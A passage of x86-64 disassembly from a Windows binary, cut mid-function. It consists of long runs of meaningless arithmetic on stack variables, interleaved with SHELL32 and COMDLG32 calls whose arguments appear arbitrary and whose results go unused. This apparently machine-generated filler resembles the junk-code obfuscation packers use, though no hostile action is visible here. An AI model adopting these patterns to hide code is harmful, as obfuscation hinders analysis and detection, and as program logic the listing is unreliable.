mov rcx, qword [rsp + 0xd470]
mov word [rcx], ax
lea r9, [rsp + 0xd038]
lea r8, [rsp + 0xd4e8]
lea rdx, [rsp + 0xd5c0]
mov rcx, qword [rsp + 0xcde0]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [rsp + 0x6d88], eax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a48]
sub eax, ecx
mov word [rsp + 0xdb0], ax
mov rax, qword [rsp + 0xd118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x654c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d14], eax
mov rax, qword [rsp + 0xd248]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14019d020]
shl rax, cl
mov rcx, qword [rsp + 0xcef0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd438]
movzx eax, byte [rax]
mov byte [rsp + 0x505], al
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd470]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a90], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a9c]
sub eax, ecx
mov word [0x14019d038], ax
mov rax, qword [rsp + 0xd408]
mov rcx, qword [rsp + 0xd0d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9660], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd000]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbf08], rax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xd2a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xce78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd258]
movzx eax, word [rax]
mov word [rsp + 0x2b28], ax
mov eax, dword [rsp + 0x6d20]
mov ecx, dword [rsp + 0x6b8c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d74], eax
mov rax, qword [rsp + 0xd120]
mov qword [rsp + 0xd610], rax
mov rax, qword [rsp + 0xd218]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd180]
mov byte [rcx], al
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1a0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x42], al
mov eax, dword [rsp + 0x6d44]
mov rcx, qword [rsp + 0xd150]
mov qword [rsp + 0xd618], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd618]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6d3c], eax
lea rax, [rsp + 0x2a74]
mov qword [0x14019f0c0], rax
mov rax, qword [rsp + 0xd4e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b08]
sub eax, ecx
mov word [rsp + 0x29a8], ax
movzx eax, word [rsp + 0x2b08]
mov word [rsp + 0x2b2c], ax
mov rax, qword [rsp + 0xd388]
mov rcx, qword [0x14019f048]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd208], rax
mov rax, qword [rsp + 0xd1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd568]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb050], rax
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e0]
sar eax, cl
mov byte [rsp + 0xc5], al
mov eax, dword [rsp + 0x6d4c]
movzx ecx, al
mov eax, dword [rsp + 0x6d68]
shl eax, cl
mov dword [rsp + 0x5cf0], eax
mov rax, qword [rsp + 0xd5b0]
movzx eax, word [rax]
mov word [rsp + 0x2b30], ax
movzx eax, word [rsp + 0x2a3c]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2af0], ax
mov rax, qword [0x14019f030]
mov rcx, qword [rsp + 0x9660]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14019d088], rax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
mov word [rsp + 0x2b34], ax
mov rax, qword [rsp + 0xd298]
mov rcx, qword [rsp + 0xd2e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9660], rax
mov rax, qword [0x14019f048]
mov rcx, qword [rsp + 0xd0d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd048], rax
mov rax, qword [rsp + 0xd180]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4ec]
xor eax, ecx
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0xd3d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6d48]
shl eax, cl
mov dword [rsp + 0x6d00], eax
mov eax, dword [rsp + 0x66ac]
mov dword [rsp + 0x6d8c], eax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4f0]
sar eax, cl
mov byte [rsp + 0x4ff], al
mov rax, qword [rsp + 0xc4d8]
mov rcx, qword [0x14019d020]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa448], rax
movsx eax, word [rsp + 0x2b0c]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d07c], ax
movsx eax, word [rsp + 0x2ab4]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b20], ax
movzx eax, word [rsp + 0x2434]
movzx ecx, word [rsp + 0x2ac4]
add eax, ecx
mov word [rsp + 0x2aa0], ax
lea rax, [rsp + 0x2b24]
mov qword [rsp + 0xd620], rax
mov rax, qword [rsp + 0xd4f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd328]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcfd8], rax
lea rax, [rsp + 0x12c]
mov qword [rsp + 0xd628], rax
lea rdx, [rsp + 0x22970]
mov ecx, 0xdb
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x6bc8], eax
mov eax, dword [rsp + 0x6098]
imul eax, dword [rsp + 0x6d20]
mov dword [rsp + 0x5dfc], eax
movsx eax, word [rsp + 0x2a64]
mov rcx, qword [rsp + 0xd258]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x13d8], ax
lea rax, [rsp + 0x2a94]
mov qword [rsp + 0xd630], rax
mov rax, qword [rsp + 0xd220]
movzx ecx, al
mov rax, qword [rsp + 0xd288]
shl rax, cl
mov rcx, qword [0x14019f030]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd478]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xaf10]
sar rax, cl
mov qword [rsp + 0xd440], rax
mov rax, qword [rsp + 0xd478]
mov rax, qword [rax]
mov qword [rsp + 0xd638], rax
mov rax, qword [rsp + 0xd1c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd220]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa88], rax
movzx eax, word [0x14019d038]
movzx ecx, word [rsp + 0x2abc]
add eax, ecx
mov word [rsp + 0x2a10], ax
mov rax, qword [rsp + 0xd050]
mov eax, dword [rax]
mov dword [rsp + 0x6d90], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1de], al
mov rcx, qword [rsp + 0xd640]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Unlock]
mov dword [rsp + 0x6bbc], eax
movsx eax, byte [rsp + 0x4f1]
movsx ecx, byte [rsp + 0x4f5]
and eax, ecx
mov byte [rsp + 0x496], al
lea rcx, [rsp + 0xd308]
call qword [sym.imp.SHELL32.dll_ILFree]
mov rax, qword [rsp + 0xd248]
mov rcx, qword [rsp + 0xd400]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc4d8], rax
mov eax, dword [rsp + 0x6d68]
mov dword [0x14019f0c8], eax
movsx eax, word [rsp + 0xe78]
movsx ecx, word [rsp + 0x2ae8]
sar eax, cl
mov word [rsp + 0x1e7c], ax
mov rax, qword [rsp + 0xd258]
movzx eax, word [rax]
mov word [rsp + 0x2b38], ax
movzx eax, word [rsp + 0x2890]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2adc], ax
mov rax, qword [rsp + 0xd170]
mov rcx, qword [rsp + 0xd478]
mov qword [rsp + 0xd648], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd648]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8e20], rax
mov rax, qword [rsp + 0xd628]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd218]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd2c0]
mov byte [rcx], al
mov eax, dword [0x14019f0c8]
mov dword [rsp + 0x6d94], eax
mov rax, qword [rsp + 0xd410]
mov rcx, qword [rsp + 0xaaf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2c0], rax
mov rax, qword [rsp + 0xd588]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2acc]
add eax, ecx
mov word [rsp + 0x2760], ax
movzx eax, word [0x14019f07c]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14019d090], ax
lea rax, [rsp + 0xab00]
mov qword [rsp + 0xd650], rax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1fbc], ax
mov rax, qword [rsp + 0xd050]
mov eax, dword [rax]
mov dword [rsp + 0x6d98], eax
movzx eax, byte [rsp + 0x4e7]
mov rcx, qword [rsp + 0xd0c0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xce60]
mov byte [rcx], al
mov rax, qword [rsp + 0xd110]
mov rcx, qword [0x14019d020]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xd110]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd2f8]
mov rcx, qword [rsp + 0xd058]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5ab4], eax
movsx eax, byte [rsp + 0x12c]
mov rcx, qword [rsp + 0xd628]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4fd], al
mov rax, qword [0x14019f028]
movzx eax, word [rax]
mov word [rsp + 0x2b3c], ax
mov rax, qword [rsp + 0xd630]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1240]
sub eax, ecx
mov word [0x14019f090], ax
mov rax, qword [rsp + 0xd170]
movzx ecx, al
mov rax, qword [rsp + 0xd3f8]
sar rax, cl
mov qword [rsp + 0xd500], rax
mov rax, qword [rsp + 0x8e20]
movzx ecx, al
mov rax, qword [0x14019efe8]
shl rax, cl
mov qword [rsp + 0xccf8], rax
movsx eax, word [rsp + 0x2b38]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1244], ax
movzx eax, word [rsp + 0x2a9c]
movzx ecx, word [0x14019f0a0]
sub eax, ecx
mov word [rsp + 0x2aa8], ax
mov rax, qword [rsp + 0xa0a8]
mov qword [rsp + 0xd658], rax
movsx eax, byte [rsp + 0x4ec]
mov rcx, qword [rsp + 0xd488]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4e1], al
mov eax, dword [rsp + 0x6cf8]
mov ecx, dword [rsp + 0x6d2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d64], eax
lea rax, [rsp + 0xcac8]
mov qword [rsp + 0xd660], rax
movzx eax, word [rsp + 0x2a2c]
mov word [0x14019f0cc], ax
lea rdx, [rsp + 0x1e920]
lea rcx, [rsp + 0xd130]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0xd668], rax
mov rax, qword [rsp + 0xd5f0]
movzx eax, word [rax]
mov rcx, qword [0x14019efd0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a68], ax
movzx eax, byte [rsp + 0x450]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4c0], al
mov eax, dword [rsp + 0x5eb4]
mov ecx, dword [rsp + 0x63c8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5b24], eax
mov rax, qword [rsp + 0x9d98]
mov qword [rsp + 0xd670], rax
mov rax, qword [rsp + 0xd180]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4ab]
sar eax, cl
mov byte [rsp + 0x149], al
mov rax, qword [rsp + 0xd198]
mov rcx, qword [rsp + 0xd058]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xd3d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcfd8]
mov qword [rsp + 0xd678], rax
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [rsp + 0x2b00]
and eax, ecx
mov word [rsp + 0x2b28], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b18]
shl eax, cl
mov word [0x14019d058], ax
mov rax, qword [rsp + 0x8e20]
mov rcx, qword [rsp + 0xd000]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x92b0], rax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a60], ax
mov rax, qword [0x14019f028]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2aa4], ax
mov rax, qword [rsp + 0xd548]
mov rax, qword [rax]
mov qword [rsp + 0xd680], rax
mov rax, qword [rsp + 0xd438]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x344]
shl eax, cl
mov byte [rsp + 0x4e6], al
mov rax, qword [rsp + 0xd390]
mov rcx, qword [section..data]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa5a0], rax
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5cf0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d94], eax
movzx eax, word [rsp + 0x1b08]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1180], ax
lea rax, [rsp + 0xcdc8]
mov qword [0x14019f0d0], rax
mov rcx, qword [rsp + 0xd688]
call qword [sym.imp.SHELL32.dll_DragFinish]
mov rax, qword [rsp + 0xd150]
mov eax, dword [rax]
mov dword [rsp + 0x6d9c], eax
movzx eax, byte [rsp + 0x502]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4a1], al
mov rax, qword [0x14019f0c0]
movzx eax, word [rax]
mov word [rsp + 0x2b40], ax
movzx eax, word [rsp + 0x2b34]
movzx ecx, word [rsp + 0x2b14]
add eax, ecx
mov rcx, qword [rsp + 0xd228]
mov word [rcx], ax
mov rax, qword [rsp + 0xcfb0]
mov ecx, dword [0x14019efb0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5a10], eax
mov rax, qword [rsp + 0xb050]
mov rcx, qword [rsp + 0xccc8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd110]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd2c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd628]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4f7], al
movzx eax, word [reloc.SHELL32.dll_ILSaveToStream]
mov word [rsp + 0x2b44], ax
lea rax, [rsp + 0x2a44]
mov qword [0x14019f0d8], rax
mov rax, qword [rsp + 0xd650]
mov rcx, qword [rsp + 0xd660]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd128], rax
mov rax, qword [rsp + 0xcfe0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc920]
sar rax, cl
mov qword [rsp + 0xc880], rax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb340]
shl rax, cl
mov qword [rsp + 0xd000], rax
movsx eax, word [rsp + 0x2ab8]
movsx ecx, word [rsp + 0x2b44]
sub eax, ecx
mov word [rsp + 0x1810], ax
mov rax, qword [rsp + 0xce58]
mov qword [rsp + 0xd690], rax
mov eax, dword [rsp + 0x6cf4]
movzx ecx, al
mov eax, dword [rsp + 0x5b3c]
shr eax, cl
mov dword [rsp + 0x58e0], eax
mov rax, qword [rsp + 0xd438]
movzx eax, byte [rax]
mov byte [rsp + 0x506], al
movzx eax, byte [0x14019ef90]
movzx ecx, byte [rsp + 0x1de]
or eax, ecx
mov byte [rsp + 0x3fb], al
mov rax, qword [rsp + 0xd480]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd150]
mov qword [rsp + 0xd698], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd698]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6450], eax
mov rax, qword [rsp + 0xd5b0]
movsx eax, word [rax]
movsx ecx, word [0x14019d07c]
sub eax, ecx
mov word [0x14019f080], ax
movzx eax, word [rsp + 0xdb0]
mov rcx, qword [rsp + 0xd5f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10d8], ax
mov rax, qword [rsp + 0xd620]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x17d4], ax
mov rax, qword [0x14019f0d0]
mov rax, qword [rax]
mov qword [rsp + 0xd6a0], rax
movsx eax, byte [rsp + 0x4ec]
movsx ecx, byte [rsp + 0x444]
and eax, ecx
mov byte [rsp + 0x4f2], al
lea rcx, [rsp + 0xd360]
call qword [sym.imp.SHELL32.dll_ILCloneFirst]
mov qword [rsp + 0xd6a8], rax
mov rax, qword [rsp + 0xd0e8]
mov rcx, qword [rsp + 0xb658]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa478], rax
mov eax, dword [rsp + 0x654c]
mov rcx, qword [rsp + 0xd2f8]
mov qword [rsp + 0xd6b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd6b0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x61b8], eax
movsx eax, word [rsp + 0x2a90]
movsx ecx, word [rsp + 0x2b38]
or eax, ecx
mov word [rsp + 0x2b00], ax
movzx eax, word [rsp + 0x10d8]
mov word [rsp + 0x2b48], ax
mov rax, qword [rsp + 0xcec0]
movzx ecx, al
mov rax, qword [rsp + 0xad38]
sar rax, cl
mov qword [0x14019efe8], rax
movzx eax, word [rsp + 0x2adc]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x29a8], ax
mov rax, qword [rsp + 0xd478]
mov rax, qword [rax]
mov rcx, qword [0x14019d040]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa0e8], rax
mov rax, qword [rsp + 0xd2e0]
mov rcx, qword [rsp + 0xcec0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9ff8], rax
movsx eax, byte [rsp + 0x344]
mov rcx, qword [rsp + 0xd438]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x362], al
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
mov dword [rsp + 0x6da0], eax
mov rax, qword [rsp + 0xd0f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd098]
mov qword [rsp + 0xd6b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd6b8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5938], eax
movzx eax, byte [rsp + 0x4e7]
mov byte [rsp + 0x507], al
mov rax, qword [rsp + 0xd468]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xad08]
shr rax, cl
mov qword [rsp + 0xce58], rax
mov rax, qword [rsp + 0xce08]
movzx eax, word [rax]
mov word [0x14019f0e0], ax
mov rax, qword [rsp + 0xd470]
movsx eax, word [rax]
mov rcx, qword [0x14019f028]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a74], ax
movzx eax, word [rsp + 0x131c]
mov rcx, qword [rsp + 0xd630]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1534], ax
movzx eax, word [rsp + 0x2a98]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a4c], ax
mov rax, qword [rsp + 0xd4f0]
mov rax, qword [rax]
mov qword [rsp + 0xd6c0], rax
mov eax, dword [rsp + 0x6cf0]
mov ecx, dword [rsp + 0x654c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d2c], eax
mov rax, qword [rsp + 0xd438]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4f8]
sar eax, cl
mov byte [rsp + 0x4ad], al
mov rax, qword [0x14019f0c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a64]
or eax, ecx
mov word [rsp + 0x1910], ax
movzx eax, word [rsp + 0x2af4]
movzx ecx, word [rsp + 0xcc8]
shl eax, cl
mov rcx, qword [rsp + 0xd630]
mov word [rcx], ax
mov rax, qword [rsp + 0xc920]
mov rcx, qword [rsp + 0xd3d0]
sub rcx, rax
mov rax, rcx
mov qword [0x14019efc0], rax
mov rax, qword [rsp + 0xcfe8]
mov qword [rsp + 0xd6c8], rax
mov rax, qword [rsp + 0xcf48]
mov rcx, qword [rsp + 0xd290]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd5e8], rax
lea rax, [rsp + 0x9d98]
mov qword [rsp + 0xd6d0], rax
movzx eax, word [rsp + 0x2b24]
movzx ecx, word [rsp + 0x10d8]
add eax, ecx
mov word [rsp + 0x2a40], ax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e8]
sub eax, ecx
mov byte [rsp + 0x42], al
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
mov dword [rsp + 0x6da4], eax
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd358]
shl rax, cl
mov qword [rsp + 0xd518], rax
mov eax, dword [rsp + 0x6d68]
movzx ecx, al
mov eax, dword [rsp + 0x6afc]
shr eax, cl
mov dword [rsp + 0x6454], eax
movsx eax, byte [0x14019ef91]
movsx ecx, byte [rsp + 0x4eb]
or eax, ecx
mov byte [str.mA8xd_v0], al
mov rax, qword [rsp + 0xd5b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a64], ax
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
mov rcx, qword [0x14019efb8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1244], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov word [rsp + 0x2b4c], ax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xd650]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd380], rax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12c]
xor eax, ecx
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd608]
mov qword [rsp + 0xd6d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd6d8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9f68], rax
mov eax, dword [rsp + 0x5ab4]
mov ecx, dword [rsp + 0x6cf8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd198]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd398]
movzx eax, word [rax]
mov word [rsp + 0x2b50], ax
movzx eax, word [rsp + 0x2a4c]
mov rcx, qword [rsp + 0xd148]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14019f038], ax
mov rax, qword [0x14019f0b8]
mov rcx, qword [rsp + 0xaa88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd3f8], rax
movzx eax, word [rsp + 0x1bb0]
mov word [rsp + 0x2b54], ax
movzx eax, byte [rsp + 0x4ff]
mov rcx, qword [rsp + 0xd1a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd0c0]
mov byte [rcx], al
mov eax, dword [rsp + 0x6c78]
imul eax, dword [0x14019efac]
mov dword [rsp + 0x6d54], eax
mov rax, qword [rsp + 0xd468]
mov rcx, qword [rsp + 0xd300]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbfa0], rax
mov rax, qword [rsp + 0xd488]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd218]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd0a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xd3d8]
mov eax, dword [rax]
mov dword [rsp + 0x6da8], eax
lea r8, [rsp + 0xce18]
lea rdx, [rsp + 0x1e068]
mov ecx, 0xf8
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x6bc0], eax
mov rax, qword [rsp + 0xd398]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2af8]
sar eax, cl
mov word [rsp + 0x2a7c], ax
mov dword [rsp + 0x20], 0x40
lea r9, [rsp + 0xd378]
mov r8d, 0xc2
lea rdx, [rsp + 0x221d0]
lea rcx, [rsp + 0x216d0]
call qword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [rsp + 0x6bc4], eax
movzx eax, word [rsp + 0xdb0]
mov word [0x14019f0e4], ax
mov rax, qword [rsp + 0xd650]
mov rcx, qword [rsp + 0xd2a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa5f0], rax
mov rax, qword [rsp + 0xd478]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb590]
shl rax, cl
mov qword [rsp + 0x9448], rax
movsx eax, word [rsp + 0x1910]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd188]
mov word [rcx], ax
mov rax, qword [rsp + 0xd5f0]
movzx eax, word [rax]
mov word [rsp + 0x2b58], ax
mov rax, qword [rsp + 0xcfb0]
mov ecx, dword [rsp + 0x6d68]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6d48], eax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov qword [rsp + 0xd6e0], rax
movsx eax, byte [0x14019ef92]
mov rcx, qword [rsp + 0xd0a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4f5], al
mov rdx, qword [rsp + 0xd360]
lea rcx, [rsp + 0xd168]
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov dword [rsp + 0x6ca4], eax
mov rax, qword [rsp + 0xd2a0]
mov rcx, qword [rsp + 0xcdc8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9b60], rax
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
movsx ecx, word [reloc.SHELL32.dll_ILSaveToStream]
sar eax, cl
mov word [0x14019d094], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a80]
shl eax, cl
mov word [rsp + 0x14a0], ax
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d54]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d44], eax
mov rax, qword [rsp + 0xd1a0]
movzx eax, byte [rax]
mov byte [rsp + 0x508], al
mov rax, qword [rsp + 0xd660]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd048]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d98], rax
mov rax, qword [0x14019d020]
mov rcx, qword [rsp + 0xd6c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4f8], rax
movsx eax, byte [rsp + 0x4e5]
mov rcx, qword [rsp + 0xd0a8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x45e], al
mov rax, qword [rsp + 0xd0d0]
mov ecx, dword [rsp + 0x6afc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6454], eax
lea rcx, [rsp + 0x200e0]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x6dac], eax
mov rax, qword [rsp + 0xd398]
movzx eax, word [rax]
mov word [rsp + 0x2b5c], ax
mov rax, qword [rsp + 0xd5f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019f07c], ax
mov rax, qword [rsp + 0xc880]
mov rcx, qword [rsp + 0xd660]
mov qword [rsp + 0xd6e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd6e8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xccf8], rax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd94]
